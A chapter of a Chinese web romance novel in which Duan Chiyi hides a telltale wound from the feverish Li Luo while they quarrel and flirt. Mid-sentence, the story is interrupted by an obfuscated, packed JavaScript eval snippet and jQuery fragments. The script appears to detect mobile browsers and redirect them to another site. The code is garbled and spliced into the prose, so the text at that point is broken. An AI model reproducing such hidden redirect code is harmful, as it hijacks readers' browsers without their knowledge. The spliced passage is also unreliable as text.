清木枖枖 作品
40. 第 40 章
他白天用珩亦的身份和她接触过多,黎落明显察觉到了不对,只是被他打断了。
若是自己立马用段迟意的身份出现,细微的相似之处,只怕会引起她的怀疑。
但他只在门口短暂地站定,便察觉到有人正用后背抵着门,刀子划过地面,发出刺耳的摩擦声。
黎落的影子被夜明珠的光映在门框上,像一只外形圆润、内里却尖锐孤单的小动物。
等他意识到自己在做什么的时候,已经下意识抬手敲响了门。
下一刻,坐在地上的人翻身起来,影子一下子放大、靠近。
吱呀一声,门被人从里面拉开,黎落整个人披着一层浅浅的光,瞬间出现在段迟意面前。
她眼睛亮晶晶的,像是在里面藏了宝石,顿时照出漫天萤辉,里面是不加掩饰的惊喜。
“段迟意!你回来了!”
她的声音像是有什么魔力,一下子让整个云苍阁都显得热闹又温暖。
段迟意心里原本有的犹豫、沉重,随着黎落朝他扑过来的动作,瞬间被冲散至无影无踪。
他抬手,接住她,像接住了一整轮明月。
她的手比他还要冰凉,段迟意意识到她一直坐在门口的地上,不禁问道:
“地上不冷吗?”
他不说还好,这么一说,黎落顿时觉得自己好像在寒风里冰面上坐了很久似的,门口的小风一吹,浑身毛孔都在抗议。
她蹙眉,“阿嚏”一声,打了个喷嚏。
段迟意无奈,按着她的肩膀把她推进了屋子里,关上门,将人塞进被子里。
她在被子里抖了两下,暖和起来,脸颊漫上点红。
“段迟意。”
她喊他,带着鼻音,声音软软的,像是在撒娇:
“我等了你好久,你去哪了?”
段迟意在她面前蹲下,这高度正好能直视她的眼睛。
他看着她,有些困惑:
“等我?”
黎落“嗯”了一声:
“你还不知道呢吧,我今天见着珩亦了,我还抓住他了!”
说完,她的脸一下子又垮了下去,像是耷拉着耳朵的猫,不情不愿道:
“但是他又跑了,我没打过。”
岂止是没打过,简直是被人单方面按着恐吓了一顿,差点连混沌之力都叫他探出来了。
但毕竟是她动手偷袭在先,说出来难免显得丢人。
黎落于是避重就轻地略过了细节,只抱怨道:
“他都受伤了还这么能打,今天过后,他肯定更想杀我了。”
段迟意闻言没有说话,突然抬手捏她的脸。
他白天就想这么干了,现在终于有了机会。
黎落的脸颊软软的,冻了许久的凉意还未从面上完全褪去,却从皮肤下面透出点烫人的温度。
段迟意只轻轻捏了一下,便在她无辜的眼神的注视下,不由自主变成了用手指轻触她的脸。
他的指腹凉凉的,中和了黎落脸上的热。
她先是下意识一哆嗦,而后又怀念那份凉意,于是朝他手的方向歪了歪头,还蹭了一下。
指腹和掌心彻底与她的皮肤贴近,凉和热混在一起,叫人分不清是谁在发烫。
“你发烧了。”
段迟意轻声道:
“熬夜不睡觉,坐在门口吹风,不难受吗?”
他声音低低的,比起责备,更像是在关心她。
黎落于是一点也不生气,反而主动伸出手,将他的手按住,完全贴在自己脸上,像是找到了降温秘方。
裹在身上的被子随着她的动作散开。
黎落忍不住一哆嗦,旋即又舒服地眯起眼睛,贴着他的手蹭了蹭:
“我才不难受。”
段迟意一手被她抓着,只得伸出另一只手帮她拉紧被子。
她的呼吸打在他手背上,比平时的温度高很多。
段迟意忽然一愣。
一条长而细的红色血痕横亘了他的手背,在夜明珠的光下显得格外明显。
白天被骨伞划伤的伤口还在,他忘了处理。
只要黎落现在低头,就能立马发现:这是她在珩亦手背上划出的伤口,现在却出现在了段迟意手上。
段迟意顿时紧张起来。
他的手不自觉用力,黎落顿时感到“降温神器”不够舒服了。
她低头,想换另一只手。
下巴忽然被人托住。
段迟意情急之下松开了捏着被子的手,两只手将她脸捧着,固定到一个只能抬头看他的角度。
险些暴露。
黎落茫然与他对视:“怎么了?”
那双黑而冷的眸子里闪过一丝庆幸,段迟意面上仍十分沉静的模样:
“你病了,早点休息吧。”
“不要!”
黎落顿时面露不满:“我还不困。”
她抬手,想把段迟意放在她脸上的手拉下来,用以表示她的拒绝。
手背上的伤口虽然已经不再流血,但仍有浅浅的凸出痕迹,不能叫她摸到。
段迟意压下眼睫,在黎落快要触碰到他手的同时,忽然反手握住了她的手腕。
而后双臂微微用力,便将她胳膊交错压在一起,直直按倒在了床上。
黎落一惊,后背已经隔着被子贴到了柔软的床上。
被子边缘叠在一起,硌在她后腰,十分不舒服。
她下意识想起身。
段迟意于是俯身,再次将她压了回去。
夜明珠的光半明半暗,映出他线条流畅的轮廓,一双眸子如墨色冷玉,正一眨不眨地盯着她。
“你该睡觉了。”
他说,语气有些强势。
黎落恼了:“我都说了我不困!你快放开我!”
她挣扎两下,领口衣襟散开,白皙的皮肤上坠着一条细长的银链,因着她的体温升高,源源不断飘出甜香。
段迟意移开目光。
这动作看在黎落眼里便是心虚:
“哈!段迟意,你是不是有事瞒着我!”
她想要坐起来看清他的脸:
“你放开我,我保证不生气。”
段迟意不为所动,仍按着她不让起:
“没有。”
他开始后悔。
干嘛非要来黎落门口呢?
她又不是一天两天的不睡觉,他哪里管得了那么多,便是熬成熊猫眼也不干他的事。
但更后悔的是,怎么能忘了把伤口处理掉呢?
一定是因为极渊的事情干扰了他。
一想到极渊,心里那些乱七八糟的念头便瞬间冷却下去。
段迟意松开手,起身就要离开。
“不困的话,你自己玩吧。”
手上压力顿时消失。
黎落一脸的丈二和尚摸不着头脑,不知这人怎么回事,竟和白天见到的珩亦一样喜怒无常。
连带着白天的火一起蹿了上来,她猛地朝段迟意扑了过去。
段迟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478347|167891||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
意察觉到身后的风,转身,下意识伸手将她抱了个满怀。
黎落手脚并用,爬到了他身上,两手攀着他脖子,挂着不下去了。
她对他怒目而视,无声宣泄她的愤怒。
但不过一会儿功夫,就因为发烧而脱力,两只胳膊撑不住浑身的重量,开始往下滑。
段迟意只得将她腿托住,往上送了送,抱小孩一样。
一手扶着她腰背,免得她头重脚轻,朝后翻下去。
她坐在他胳膊上,垂头看着他。
这高度让黎落觉得自己很有气势。
“你今天怎么了?奇奇怪怪的,为什么非要逼我睡觉?”
她质问他。
段迟意抬头看她:“熬夜不健康。”
黎落“哼”了一声。
“一整天在外疯跑不回家才不健康,身为副阁主却擅离职守——你知道云苍阁今天差点破产了吗?”
“我没有疯跑。”
段迟意说:“是你和人打架炸了房子,才害的云苍阁破产。”
“我没有和人打架!我是单方面被打!”
黎落愤愤道:“都是因为珩亦这个混蛋欺负我,我才会控制不住炸了房子!”
“好吧。”
段迟意叹气,声音软了下去:“他是混蛋。”
黎落吃软不吃硬,段迟意这么一说,她一脑门的火立马消了下去。
她弯下腰,凑近他的脸,将他搂得更近些,用一种十分亲昵的姿势在他耳边说:
“你出的主意一点都不好,打晕绑走难度太大了,还不如直接杀了他。”
她的手勾在他后颈,不自觉玩他的头发。
呼吸有些烫,说话间气息拂过他耳畔,像夏天燥热的风,吹得人心乱如麻。
段迟意将她抱得更紧了些。
他听见自己嗓音低哑,用轻不可闻的声音问她:
“真的很难吗?”
“难!”
黎落闻言一把拉住他的发尾,感受到冰凉丝滑的触感,像握住了一匹上好的锦缎。
“你都不知道想抓住珩亦有多难!”
她又强调了一遍。
“非常难!”
段迟意不禁笑了起来。
他侧头看向黎落,眼里带着点说不清道不明的笑意,冬雪消融,连声音都带了暖意:
“许是你用错了方法呢?”
黎落疑心段迟意在骗她。
她松开他的头发,跟他脸对脸。
他的五官柔和下来,锐利的棱角织成天衣无缝的陷阱,乌黑的双眸变成诱人靠近的饵,美得惊心动魄。
她又被他蛊惑到,全然忘了自己要说什么,呆愣地望着他。
她的目光直勾勾的,是一种毫无防备、全心全意的注视。
段迟意在她的注视下,感受到自己的心脏一点点跳动起来。
她尚没意识到自己这样看着别人时,会给那人怎样的期待。
段迟意和她对视片刻后,率先移开目光,打断了两人间微秒的气氛。
“真的不难。”
他清了清嗓子,故作镇定道:
“他很好抓的。”
说完,他微微弯腰,想要将她放下来。
黎落没有吭声,由着他把自己放到地上。
双脚触及地面的同时,她手臂却忽然重新用力,勾着他的脖子,使他不能直起身。
他两手还护在腰间,疑惑地看向她。
听见她问:
“段迟意,我真的不能亲你吗?”